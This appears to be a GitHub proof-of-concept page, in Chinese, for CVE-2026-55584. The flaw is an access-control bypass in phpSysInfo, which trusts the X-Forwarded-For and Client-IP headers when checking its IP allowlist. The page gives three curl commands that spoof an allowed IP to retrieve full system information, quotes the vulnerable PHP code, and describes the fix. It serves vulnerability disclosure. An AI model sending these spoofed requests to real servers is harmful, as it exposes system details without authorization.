mirackayikci/CVE-2026-55584
GitHub: mirackayikci/CVE-2026-55584
针对 phpSysInfo IP 白名单绕过漏洞(CVE-2026-55584)的概念验证代码,演示了通过伪造 X-Forwarded-For 请求头绕过访问控制并泄露系统信息的过程。
Stars: 0 | Forks: 0
# CVE-2026-55584 - phpSysInfo IP 白名单绕过
CWE-290,CVSS 7.5(高危),phpSysInfo <= 3.4.x
参考:[GHSA-786w-p5pm-cvgh](https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh),[CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-55584)
`PSI_ALLOWED` 会优先从攻击者可控的 `X-Forwarded-For`(其次是 `Client-IP`)请求头中解析客户端 IP,然后才回退到 `REMOTE_ADDR`。由于没有受信任代理(trusted-proxy)的概念,因此伪造一个允许的 IP 就能绕过白名单,并通过 `xml.php` 泄露完整的系统信息。
PoC:
```
# allowlist 设置为攻击者不拥有的地址 (ALLOWED=8.8.8.8)
curl -s http://target/xml.php # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php # bypass, full XML
```
易受攻击的代码(`read_config.php`):
```
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last
}
```
修复(019fa2d):默认使用 `REMOTE_ADDR`;仅在配置了受信任代理(trusted proxies)时才处理 `X-Forwarded-For` / `Client-IP`。
报告者:Muhammed Mirac Kayıkci
标签:CISA项目, Cutter, CVE, IP白名单绕过, phpSysInfo, 数字签名, 访问控制绕过